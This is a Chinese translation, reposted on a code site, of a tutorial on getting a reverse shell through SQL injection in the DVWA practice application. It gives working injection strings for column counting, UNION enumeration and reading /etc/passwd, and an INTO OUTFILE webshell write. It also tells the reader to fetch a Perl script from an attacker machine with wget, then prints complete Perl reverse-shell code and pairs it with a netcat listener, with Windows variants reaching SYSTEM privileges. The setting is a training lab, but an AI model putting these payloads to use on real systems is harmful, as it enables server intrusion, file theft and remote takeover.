当前位置: 代码迷 >> SQL >> [译]透过SQLi获得逆向shell
  详细解决方案

[译]透过SQLi获得逆向shell

热度:264   发布时间:2016-05-05 11:05:48.0
[译]通过SQLi获得逆向shell
原文地址:http://resources.infosecinstitute.com/anatomy-of-an-attack-gaining-reverse-shell-from-sql-injection/
本文使用DVWA作为演示
首先将dvwa安全级别配置为low

1. 查找SQLi注入点
查找sqli注入点是关键步骤,需要很多技巧和经验来识别注入点。通过分析web程序,识别注入点。例如下图,USER ID可以被认为是一个注入点。

在user id中添加一个引号,我们可以看到MySql数据库语义错误

如果仔细查看,将会发现是一个syntax error,它的原因是当提供一个单引号时,后端数据库产生了一个syntax error错误。
正常情况下后端的sql语句类似:
MySQL> select first_name, last_name from users where user_id='' ;

如果user id提供一个单引号,那么sql语句变成:
MySQL> select first_name, last_name from users where user_id='' ';

所以产生一个语义错误。
所以注入点是user id,通过它可以直接和后端数据库通信。

接下来我们来尝试猜测后端后端数据库的语句,语句中列的数量,数据库名和MySq版本等信息。
根据前端,我们猜测语句类似:
MySQL> select first_name, last_name from users where user_id=1 ;

但是这只是一个粗略的猜测,我们需要充分利用MySql的特性,MySql提供给我们ORDER BY
ORDER BY根据列来排序查询结果。例如上面的语句,查询两列,使用order by可以根据列1或列2来排序。
如果我想按照第三列排序结果,MySql产生错误:
ERROR 1054 (42S22): Unknown column ’3′ in ‘order clause’

所以当使用order by 2时没有错误,而order 3的时候产生错误,因此可以推断sql语句是两列
通过使用order by,我们可以推测出sql的列数

使用id= ‘ order by 3 #应用程序抛出MySql错误表明查询语句中没有使用第三列。#用于注释掉查询语句中剩余部分,所以语句看起来如下:
MySQL> select first_name, last_name from users where user_id=’ ‘ order by 3 # ‘ ;


id= ‘ order by 2 # 没有产生错误表明sql语句的列数为2

现在使用UNION 语句来更进一步枚举
Union连接两个select查询结果。根据之前的order by操作,我们知道语句包含两列。我们无法控制一个sql语句,但是我们可以用过union和select来组合两条插叙的结果。
因为主查询中有两列,所以我们应该在union组合的select中使用两列
MySQL> select first_name, last_name from users where user_id=’ ‘ union select 1,2 ;


通过使用union查询,我们可以看到显示的结果为后端的select语句和我们的union select语句

然后我们使用其他的注入语句,例如 ' UNION SELECT user(), database()#
如下图所示,将会显示username和数据库

使用session_user()和current_user()

我们还可以获得MySql版本

更好的是MySql允许我们使用load_file(),我们可以使用load_file()来读取文件,我们通过注入来读取/etc/passwd文件
‘ UNION SELECT 1, load_file(/etc/passwd) #


现在我们使用那个UNION SELECT
1. 上传webshell,获得反向连接
我们通过PHPinfo.php来访问web的根文件
我们得知web的根文件是apache的默认目录/var/www/
识别正确的根目录很重要,对于apache我们已经知道默认根目录的位置,但是系统管理员可能改变该参数。一种方法是通过返回的错误来定位根目录的位置。它可能会泄漏安装目录。

现在我们将使用union select在根目录创建一个文件,通过使用来完成。INTO OUTFILE将选择的行写入文件。下面的注入显示cmp.php文件将会存放于根目录,可以用来执行OS命令行:
‘ union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ #
这个方法需要你有在根目录写的权限。管理员可能改变该权限

现在我们可以利用浏览器访问根目录中的cmd.php

现在我们运行一些系统命令,使用id命令,可以看到我们拥有apache权限。

接下来我们使用perl -h来检查系统是否安装了perl

现在我们可以使用wget命令下载,保存从攻击者机器下载的perl反向连接脚本,保存到/tmp文件夹。

perl脚本
#!/usr/bin/perluse Socket;use FileHandle;$IP = $ARGV[0];$PORT = $ARGV[1];socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));SOCKET->autoflush();open(STDIN, ">&SOCKET");open(STDOUT,">&SOCKET");open(STDERR,">&SOCKET");system("/bin/sh -i");

现在我们检查backconnect.pl是否下载/保存成功

现在我们使用netcat在8080端口等待连接。然后运行perl backconnect.pl脚本。我们可以获得一个反向连接

现在我们有了一个交互式shell


现在我们在Windows环境中使用相同方法
首先使用union select以及load_file()
我们想要读E盘的一个文件,文件路径如下
e:/testfile.txt
注入 ‘ union select 1, load_file(‘e:\testfile.txt’) #

适当的指定路径很重要,正如我们看到的路径是e:\testfile.txt,但是MySql会解析"\"。注入也可以为
‘ union select 1, load_file(‘e:/testfile.txt’) #
接下来找到web根文件夹,使用老方法PHPinfo.php

根文件夹为c:/wamp/www/DVWA/dvwa/,所以上传webshell使用的sql为
‘ union select 1, ‘‘ INTO OUTFILE ‘c:\wamp\www\DVWA\dvwa\cmd.php’#

检查cmd.php是否成功:

我们可以使用其他命令,例如whoami,将会告诉我们我们拥有NT authority system权限

  相关解决方案